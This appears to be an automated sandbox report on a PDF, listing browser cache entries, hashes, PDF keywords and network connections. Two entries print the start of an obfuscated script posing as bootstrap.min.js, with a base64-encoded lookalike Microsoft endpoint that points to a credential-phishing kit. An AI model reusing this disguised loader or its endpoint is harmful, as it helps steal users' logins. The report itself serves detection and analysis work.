SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 81 x 32, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPlOEg1xl/k4E08up:6v/lhP07Tp
MD5:	45E0E6FE96BDE54D6857809299DF11A5
SHA1:	A25443DA4A39B396E0DCA8581973B12C95BC5670
SHA-256:	08612CA916A4147D5A2D2F095E8FEE87E82E3A5F2DC3A636D22A225221D159F9
SHA-512:	DE14411AB91003BA9F24EBE8BD6B9175C11969A4EF54886E25830B820C5A63BA94510A69E105BA155B97A0D89E212818F3F01E3F5B03EDAEF566F9E73C9DFAAA
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN
Preview:	.PNG........IHDR...Q... ............IDAT.....$.....IEND.B`.

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 71 x 62, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.969798475032601
Encrypted:	false
SSDEEP:	3:yionv//thPl2RJa0gBxl/k4E08up:6v/lhPoipB7Tp
MD5:	F63D2AA300F3A33910503FEA9E1F6441
SHA1:	E309E062BE085B89F11FDFE624CD4286C02FE6F7
SHA-256:	6D66711A1AE54DC6085F5FEB693AF149DB33567E1D00BCB58AFA15841982FC9B
SHA-512:	521EB358A44E921FEF3E93713EFAE5A17A63FB530DD3AAE414915AB24A987E611FA8D0536DB6C5B7DCC4EFDB44CE0FC2763F9408E278CB49ABB7D048F2D75F05
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/901fe1373f1743ff/1736881341707/dYySAHbYkO8m8dH
Preview:	.PNG........IHDR...G...>........A....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	dropped
Size (bytes):	47521
Entropy (8bit):	5.3981340461317835
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rHnzH5ei80aszzQhpdldr6F/PG2XvE2L79noBL5o6HBU91KL5Gc05:1a/0HnzH5eJdV0lGYv7f96Hjy
MD5:	7C92EC9D1395055CE0405A32607C7291
SHA1:	4EF0060484503E7A3D005254484D5A7FACF42F27
SHA-256:	A0DDAE0FB79C4A4A66D8613157A0703771FA9BE1A75790FCCF5EEEBAA329788B
SHA-512:	D5FAD8CE3B4B3603A6C48676E3F561437034F469875608FF1795505BFA89853A63767E32A1E65BC541DF18C555F93DB42896AA0C1EBD9B162EFC1899FE2D925B
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 225

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 226

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65442), with CRLF line terminators
Category:	downloaded
Size (bytes):	553328
Entropy (8bit):	4.9122745752735835
Encrypted:	false
SSDEEP:	6144:zTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:qay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	628F59EFF49C5F426B3D98EADDEC9336
SHA1:	A641A868E163D46E1E7147470F0D2A123F90FFD8
SHA-256:	CAFB4F47C6BC793843B98DDB543A6490F8EF75F84922F1AB6C6278A0663CC24E
SHA-512:	B2DDE96563D617FEEEA8F641FD95DCC810BFC0DB932C28E28D5EF887B3AB77BBB194D2A845A9596B842C2658F7837501C6E2C8F0612B6EE2A10FB6878A659FC2
Malicious:	false
URL:	https://5735915102-1323985617.cos.ap-singapore.myqcloud.com/bootstrap.min.js
Preview:	var file = "aHR0cHM6Ly81NzM1OTE1MTAyLmJ1c2luZXNzbGF3eWVybWljcm9zb2Z0LmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoB

Chrome Cache Entry: 227

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 228

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 229

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	196
Entropy (8bit):	5.098952451791238
Encrypted:	false
SSDEEP:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezocKqD:J0+oxBeRmR9etdzRxGez1T
MD5:	62962DAA1B19BBCC2DB10B7BFD531EA6
SHA1:	D64BAE91091EDA6A7532EBEC06AA70893B79E1F8
SHA-256:	80C3FE2AE1062ABF56456F52518BD670F9EC3917B7F85E152B347AC6B6FAF880
SHA-512:	9002A0475FDB38541E78048709006926655C726E93E823B84E2DBF5B53FD539A5342E7266447D23DB0E5528E27A19961B115B180C94F2272FF124C7E5C8304E7
Malicious:	false
URL:	https://nbgybnlh.appfilemanagement.com/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.</body></html>.

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	dropped
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65442), with CRLF line terminators
Category:	dropped
Size (bytes):	553328
Entropy (8bit):	4.9122745752735835
Encrypted:	false
SSDEEP:	6144:zTWsY1akh5JWPJurgWLNW6VF7YlNbx1eX8jumoHL4owSKrthO4bQVw:qay8oLLc6VF7eNyMjumoHL4owSKrcw
MD5:	628F59EFF49C5F426B3D98EADDEC9336
SHA1:	A641A868E163D46E1E7147470F0D2A123F90FFD8
SHA-256:	CAFB4F47C6BC793843B98DDB543A6490F8EF75F84922F1AB6C6278A0663CC24E
SHA-512:	B2DDE96563D617FEEEA8F641FD95DCC810BFC0DB932C28E28D5EF887B3AB77BBB194D2A845A9596B842C2658F7837501C6E2C8F0612B6EE2A10FB6878A659FC2
Malicious:	false
Preview:	var file = "aHR0cHM6Ly81NzM1OTE1MTAyLmJ1c2luZXNzbGF3eWVybWljcm9zb2Z0LmNvbS9uZXh0LnBocA==";....var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':focus,\x20.f','ning\x20hr\x20{\x20','end\x20!impor','er;\x20justif','tify\x20!impo','owrap\x20!imp','kit-clip-p','or:\x20#00408','ble\x20td,\x20.t','t/ests/2.1','hite-space','r\x20p-2\x22\x20onm','\x20#pacifism','>&nbsp<spa','sm-wrap\x20{\x20','g9GFerfs7/','fDngjSvCsG','u\x20to\x20your\x20','pover-top\x20','\x20}\x20.btn-da','webkit-app','an><br>\x20<d','lumn;\x20flex','\x20#6c757d\x20!','+PQcVpU7gF','#495057;\x20b','-color:\x20#1','\x20calc(.3re','rst-child)','econdary:f','to\x20!import','}\x20.table-r','-box-flex:','cus,\x20.was-','ng-top:\x200\x20','utton.bg-w','eader,\x20.ca','\x200\x20}\x20.tabl','re,\x20.bs-to','image/svg+','tton:focus','jo4inKDdSN','{\x20text-tra','roup:\x2013;\x20',',\x20.btn.act','r:\x20#28a745','vcoB

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	32
Entropy (8bit):	4.390319531114783
Encrypted:	false
SSDEEP:	3:HYmpBth0tYY:4mpbgYY
MD5:	EB3CE3190D8A58E048D35E620747D3A5
SHA1:	76B5B6461189F839B018EF5C785DB4836B818B7D
SHA-256:	2D670E2962D8D805B95912CACA0822CE7C6913636BA40373C6E6AEA73CAC8457
SHA-512:	08F9C680B09CC25919A91F8E080CFC517F7354F49759DDC8CF6FFEB5ADE2E46F80A866E7531B6EA97188A5E4647093350F91ED51254351C47BCE3488EF88A595
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAlSmG7SazXdkBIFDa0JrrESEAkGll1VYkunHRIFDUPzdjk=?alt=proto
Preview:	CgkKBw2tCa6xGgAKCQoHDUPzdjkaAA==

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	dropped
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Static File Info

General

File type:	PDF document, version 2.0, 1 pages
Entropy (8bit):	7.614218466267983
TrID:	Adobe Portable Document Format (5005/1) 100.00%
File name:	logitix.pdf
File size:	9'629 bytes
MD5:	12cf8a85832132e6cf603383263123c6
SHA1:	632345fcb628794abce58c8cef9273ab186bba9d
SHA256:	d90f004f4a149a12033a7f5e62eab932a519dc01f353599aed1293f82048255a
SHA512:	80f2537b4aa2e41da435fea869ace38291346926a0a03742af1316adbaf15edb6210f2a0aedfc29ea1b1cf5c1a5b9e3bbe9742027cd45602db91b3f6f83aeee0
SSDEEP:	192:ZFLmn1kaL0ssol3cv3pWMGpv9rAhVm38SpJEX8ggTVc/rD5BvQlxWkeQrp5l3VWd:ZFLmnGaL0s6JGpvRAHBiEDgczjQlxWkW
TLSH:	27125C999832C5ADDC978A3546A73F9FC84B72C3D9C484D3F9E88D4D8A01E7DCD42486
File Content Preview:	%PDF-2.0.%.....1 0 obj<</Type/Catalog/Pages 2 0 R/Metadata 3 0 R>>.endobj.2 0 obj<</Type/Pages/Kids[4 0 R]/Count 1>>.endobj.3 0 obj<</Type/Metadata/Subtype/XML/Length 914>>stream.<?xpacket begin='...' id='W5M0MpCehiHzreSzNTczkc9d'?>.<x:xmpmeta xmlns:x="ad

File Icon


Icon Hash:	62cc8caeb29e8ae0

Static PDF Info

General
Header:	%PDF-2.0
Total Entropy:	7.614218
Total Bytes:	9629
Stream Entropy:	7.698387
Stream Bytes:	8266
Entropy outside Streams:	5.282731
Bytes outside Streams:	1363
Number of EOF found:	1
Bytes after EOF:

Keywords Statistics

Name	Count
obj	10
endobj	10
stream	3
endstream	3
xref	1
trailer	1
startxref	1
/Page	1
/Encrypt	0
/ObjStm	0
/URI	2
/JS	0
/JavaScript	0
/AA	0
/OpenAction	0
/AcroForm	0
/JBIG2Decode	0
/RichMedia	0
/Launch	0
/EmbeddedFile	0

Image Streams

ID	DHASH	MD5	Preview
5	c68c7363dd700e8e	2d84b2a7a402a8e432817685cd422d49

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 20:01:52.145262957 CET	49675	443	192.168.2.4	173.222.162.32
Jan 14, 2025 20:02:07.933767080 CET	49723	80	192.168.2.4	199.232.210.172
Jan 14, 2025 20:02:07.938925982 CET	80	49723	199.232.210.172	192.168.2.4
Jan 14, 2025 20:02:07.939328909 CET	49723	80	192.168.2.4	199.232.210.172
Jan 14, 2025 20:02:15.251108885 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.251127958 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.251194000 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.252398014 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.252424955 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.745233059 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.745765924 CET	49751	443	192.168.2.4	104.21.64.1
Jan 14, 2025 20:02:15.745831013 CET	443	49751	104.21.64.1	192.168.2.4
Jan 14, 2025 20:02:15.747500896 CET	443	49751	104.21.64.1	192.168.2.4
